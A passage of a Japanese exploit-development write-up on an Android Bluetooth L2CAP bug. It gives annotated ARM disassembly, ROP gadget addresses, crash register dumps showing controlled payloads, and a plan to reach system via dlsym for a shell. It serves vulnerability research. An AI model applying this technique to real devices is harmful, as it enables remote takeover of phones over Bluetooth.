.text:0x00103108 PUSH.W {R4-R11,LR} .text:0x0010310C SUB SP, SP, #0x14 .text:0x0010310E MOV R4, R0 => R0 を R4 に移動 => R4 = R0 = tL2C_LCB* p_lcb .text:0x00103110 CBZ R2, loc_10311C => R2 が null ならジャンプ => BT_HDR* p_buf が null ならジャンプ .text:0x00103112 MOVS R0, #0 => 0 を R0 に移動 => .text:0x00103114 CBZ R1, loc_103120 => R1 が null ならジャンプ => tL2C_CCB* p_ccb が null ならジャンプ .text:0x00103116 LDRH R1, [R1,#0x2C] => R1 + 0x2C を R1 にロード => p_ccb->local_cid を R1 にロード .text:0x00103118 MOVS R7, #1 => 1 を R7 に移動 => single_write = true .text:0x0010311A B loc_103124 => loc_103124 に分岐 .text:0x00103124 loc_103124 .text:0x00103124 STRH R1, [R2] => R1 の上位を R2 にストア => p_buf->event = p_ccb->local_cid .text:0x00103126 MOV R1, R2 => R2 を R1 に移動 => R1 = R2 = BT_HDR* p_buf .text:0x00103128 STRH R0, [R2,#6] => R0 を R2 + 0x6 にストア => p_buf->layer_specific = 0 .text:0x0010312A LDR R0, [R4,#0x44] => R4 + 0x44 を R0 にロード => R4 + 0x44 から list_t* p_lcb->link_xmit_data_q をロード .text:0x0010312C BL list_append => list_append へのリンク付き分岐
list_append 関数の呼び出し前のレジスタ内容:
list_append 関数の逆アセンブリ:
.text:0x001298A0 PUSH {R4,R5,R7,LR} .text:0x001298A2 SUB SP, SP, #0x138 .text:0x001298A4 MOV R4, R0 => R4 を R0 に移動 => R4 = R0 = list_t* p_lcb->link_xmit_data_q .text:0x001298A6 LDR R0, =(stack_canary_1A2718 - 0x1298B0) .text:0x001298A8 MOV R5, R1 => R1 を R5 に移動 => R5 = R1 = BT_HDR* p_buf .text:0x001298AA CMP R4, #0 => R4 = 0 をテスト => list_t* p_lcb->link_xmit_data_q が null かテスト .text:0x001298AC ADD R0, PC ; stack_canary_1A2718 .text:0x001298AE LDR R0, [R0] => .text:0x001298B0 LDR R0, [R0] => .text:0x001298B2 STR R0, [SP,#0x148+stack_canary] => .text:0x001298B4 BNE loc_1298CA => CMP をテスト => list_t* p_lcb->link_xmit_data_q が null でなければジャンプ .text:0x001298CA loc_1298CA => .text:0x001298CA CBNZ R5, loc_1298E0 => R5 が null でなければジャンプ => BT_HDR* p_buf が null かテスト .text:0x001298E0 loc_1298E0 => .text:0x001298E0 LDR R0, [R4,#0x10] => R4+0x10 から R0 にロード => R0 = list->allocator .text:0x001298E2 LDR R1, [R0] => R0 から R1 にロード => R1 = list->allocator->alloc .text:0x001298E4 MOVS R0, #8 => 8 を R0 に移動 => R0 = sizeof(list_node_t) .text:0x001298E6 BLX R1 => R1 へのリンクと交換付き分岐 => 制御された R1 に分岐 !!!
制御された R1 への分岐前のレジスタ内容:
R4 が指す list_t* p_lcb->link_xmit_data_q 内の最初のペイロードの開始位置を見つけるために、0x00125734 にある ldm ガジェットを使用しました:
0x00125734 : ldm r4, {r0, r1, r2, r3, r5, r6, r7, sb, sl, ip, sp, lr, pc}
ターゲットクラッシュ時のレジスタ内容:
R4 = ade05278 = 最初のペイロードを持つ list_t* p_lcb->link_xmit_data_q ( + 0x894C ) (0x894C / 0x360 = 0x28 = 40 パケット、2 番目のペイロードにアクセス可能)
R0 = R4 + 0x0 = 0020de08
R1 = R4 + 0x4 = dead0000 = 最初のペイロード値 + 0x0
R2 = R4 + 0x8 = dead0001 = 最初のペイロード値 + 0x4
R3 = R4 + 0xC = dead0002 = 最初のペイロード値 + 0x8
R5 = R4 + 0x10 = ade0db14 = 最初のペイロード値 + 0xC = 2 番目のペイロードのアドレス + 0x0
R6 = R4 + 0x14 = dead0003 = 最初のペイロード値 + 0x10
R7 = R4 + 0x18 = 00200004
R9 (SB) = R4 + 0x1C = dead0000 = 最初のペイロード値 + 0x0
R10 (SL) = R4 + 0x20 = dead0001 = 最初のペイロード値 + 0x4
R12 (IP) = R4 + 0x24 = dead0002 = 最初のペイロード値 + 0x8
R13 (SP) = R4 + 0x2C = ade0db14 = 最初のペイロード値 + 0xC = 2 番目のペイロードのアドレス + 0x0
R14 (LR) = R4 + 0x30 = dead0003 = 最初のペイロード値 + 0x10
最初のペイロードは 0x14 バイトごとに繰り返されます。これは list_t 構造体のサイズです。
typedef struct list_t { list_node_t* head; | サイズ 0x4 | オフセット 0x0 | L2CAP ヘッダ (使用不可) list_node_t* tail; | サイズ 0x4 | オフセット 0x4 | 最初のペイロード値 + 0x0 size_t length; | サイズ 0x4 | オフセット 0x8 | 最初のペイロード値 + 0x4 list_free_cb free_cb; | サイズ 0x4 | オフセット 0xC | 最初のペイロード値 + 0x8 const allocator_t* allocator; | サイズ 0x4 | オフセット 0x10 | 最初のペイロード値 + 0xC } list_t; | サイズ 0x14
R5 が指す BT_HDR* p_buff 内の 2 番目のペイロードの開始位置を見つけるために、0x000dcecc にある ldm ガジェットを使用しました:
0x000dcecc : ldm r5, {r2, r3, r4, r6, r7, r8, lr, pc}
ターゲットクラッシュ時のレジスタ内容:
このロードマルチプルにはインクリメントはなく、BT_HDR* p_buff + 0x0 の内容は次のとおりです: 000e0000 00000000 000a2002 00010006 0002020a 00000002
ガジェットの前にインクリメント付きロードマルチプルを使用した同じテスト (0x0014b580):
0x0014b580 : ldmib r5, {r1, r2, r3, r4, r7, r8, sl, fp, sp, pc} ^
ターゲットクラッシュ時のログ:
クラッシュ後のレジスタ内容:
インクリメントの場合の BT_HDR* p_buff + 0x4 の内容は: 00000000 000a2002 00010006 0002020a 96300002 dead0007 dead0008 dead0009 dead000a
2 番目のペイロードは BT_HDR* p_buff 内の + 0x14 にあることがわかります。
########################################################################################
ROP チェーンの作成
########################################################################################
Jan Ruge が libicuuc ライブラリで行ったように、bluetooth ライブラリ内の dlsym にのみアクセスできます。これにより、シェルを起動するための system のアドレスを見つけることができます。
エクスプロイトのプロセスは次のとおりです:- mem_offset 180 にあるリンク送信データバッファキューのエントリアドレスを取得し、-176 でパケットのベースを計算する
説明はコードを参照してください。
########################################################################################